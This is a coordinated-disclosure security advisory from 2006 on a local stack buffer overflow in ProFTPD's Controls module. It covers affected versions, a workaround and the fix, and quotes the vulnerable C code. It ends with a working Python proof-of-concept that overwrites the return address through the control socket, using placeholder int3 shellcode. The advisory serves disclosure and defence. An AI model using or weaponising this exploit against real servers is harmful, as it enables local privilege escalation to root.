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       Core Security Technologies - Corelabs Advisory
           http://www.coresecurity.com/corelabs/

           ProFTPD Controls Buffer Overflow

Date Published: 2006-12-13

Last Update: 2006-12-12

Advisory ID: CORE-2006-1127

Bugtraq ID: None currently assigned

CVE Name: None currently assigned

Title: ProFTPD Controls Buffer Overflow

Class: Boundary Error Condition (Buffer Overflow)

Remotely Exploitable: No

Locally Exploitable: Yes

Advisory URL:
http://www.coresecurity.com/?module=ContentMod&action=item&id=1594

Vendors contacted:

ProFTPD

• • CORE notification: 2006-11-30
• • Notification acknowledged by ProFTPD maintainers: 2006-11-30
• • Technical details sent to ProFTPD maintainers: 2006-11-30
• • ProFTPD team produces a patch for this issue: 2006-12-08
• • Fixed ProFTPD version publicly available: 2006-12-12
• • CORE advisory release: 2006-12-13

Release Mode: COORDINATED RELEASE

Vulnerability Description

A locally exploitable stack overflow vulnerability has been found in
the mod_ctrls module of ProFTPD server.

ProFTPD is a commonly used and highly configurable FTP server for Unix
and Windows systems. This server is available as an optional package
in most recent Linux distributions, including Debian (sid), Mandriva
2007 and Ubuntu Edgy. For more information concerning ProFTPD, refer to
the site http://www.proftpd.org/

The vulnerability is located in the "Controls" module. This is an
optional feature of ProFTPD server, that must be activated in the
configuration file. Controls are a way to communicate directly with
a standalone ProFTPD daemon while it is running. This provides
administrators a way to alter the daemon's behavior in real time,
without having to restart the daemon and have it re-read its
configuration. The Controls feature allow authorized users to locally
manage parameters of the ProFTPD servers, like aborting connections,
managing users, changing log levels, disabling individual virtual
servers, etc.

The vulnerability allows local attackers with access to the Controls
features (and who have been allowed by Controls ACLs in proftpd.conf)
to gain root privileges.

Vulnerable Packages

ProFTPD 1.3.0a
ProFTPD 1.3.0

(Older packages are also possibly vulnerable)

Solution/Vendor Information/Workaround

As a workaournd, turn off the module mod_ctrls, with the following lines
added to proftpd.conf:

<IfModule mod_ctrls.c>
ControlsEngine off
</IfModule>

Alternatively, administrators can use the ControlsACLs directive in
proftpd.conf to restrict access only to trusted local users.

Version 1.3.1rc1 of ProFTPD, which fixes this issue, is available on the
ProFTPD site (http://www.proftpd.org/&#41;.

Credits

This vulnerability was found by Alfredo Ortega from Core Security
Technologies.

We wish to thank TJ Saunders from the ProFTPD team for his quick
response to this issue.

Technical Description - Exploit/Concept Code

The vulnerability exists in pr_ctrls_recv_request() function from
src/ctrls.c

Analysis of the vulnerability follows:

---

(Code from ProFTPD 1.3.0a, src/ctrls.c )

int pr_ctrls_recv_request(pr_ctrls_cl_t *cl) {
pr_ctrls_t *ctrl = NULL, *next_ctrl = NULL;
char reqaction[512] = {'\0'}, *reqarg = NULL;
size_t reqargsz = 0;
unsigned int nreqargs = 0, reqarglen = 0;

.
.
.

/* Next, read in the requested number of arguments. The client sends

• the arguments in pairs: first the length of the argument, then the

• argument itself. The first argument is the action, so get the first

• matching pr_ctrls_t (if present), and add the remaining arguments to it.
  */

                    (1)
  

if (read(cl->cl_fd, &reqarglen, sizeof(unsigned int)) < 0) {
pr_signals_unblock();
return -1;
}

                       (2)

if (read(cl->cl_fd, reqaction, reqarglen) < 0) {
pr_signals_unblock();
return -1;
}
.
.
.
}

---

In (1) the integer 'reqarglen' is fully controlled by the attacker,
as it's read directly from the control socket. This allows an attacker
to control how much we read into the 'reqaction' variable in (2)
(this variable is in the stack).

Example of vulnerable configuration in proftpd.conf:

<IfModule mod_ctrls.c>
ControlsEngine on
ControlsACLs all allow group someuser
ControlsMaxClients 2
ControlsLog /var/log/proftpd/controls.log
ControlsInterval 5
ControlsSocket /tmp/ctrls.sock
ControlsSocketOwner someuser someuser
ControlsSocketACL allow group someuser
</IfModule>

ProFTPD must be compiled with mod_ctrls support ( --enable-ctrls ).

The following is a simple working proof-of-concept (Python).

---

Core Security Technologies - Corelabs Advisory

ProFTPD Controls buffer overflow

import socket
import os, os.path,stat

#This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)

ctrlSocket = "/tmp/ctrls.sock"
mySocket = "/tmp/notused.sock"
canary = "\0\0\x0a\xff"
trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso
shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3"

#Build Payload. The format on the stack is:

#AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
payload = ("A"*512) + canary + "AAAABBBBCCCCDDDD" + trampoline + shellcode

#Setup socket

if os.path.exists(mySocket):
os.remove(mySocket)
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
s.bind(mySocket)
os.chmod(mySocket,stat.S_IRWXU)
s.connect(ctrlSocket)

#Send payload

s.send("\1\0\0\0")
s.send("\1\0\0\0")
l = len(payload)
s.send(chr(l & 255)+chr((l/255) & 255)+"\0\0")
s.send(payload)

#Finished

s.close()

---

References

For more information concerning the Controls module, refer to
http://www.castaglia.org/proftpd/doc/contrib/ProFTPD-mini-HOWTO-Controls.html

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies.

We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/

About Core Security Technologies

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide. The company?s flagship
product, CORE IMPACT, is the first automated penetration testing
product for assessing specific information security threats to an
organization. Penetration testing evaluates overall network security
and identifies what resources are exposed. It enables organizations to
determine if current security investments are detecting and preventing
attacks.

Core augments its leading technology solution with world-class security
consulting services, including penetration testing, software security
auditing and related training.

Based in Boston, MA. and Buenos Aires, Argentina, Core Security
Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.

DISCLAIMER

The contents of this advisory are copyright (c) 2006 CORE Security
Technologies and (c) 2006 Corelabs, and may be distributed freely
provided that no fee is charged for this distribution and proper
credit is given.

PGP Key

This advisory has been signed with the PGP key of Core Security
Technologies Advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc

$Id: proftpd-advisory.txt,v 1.9 2006/12/13 21:51:08 carlos Exp $

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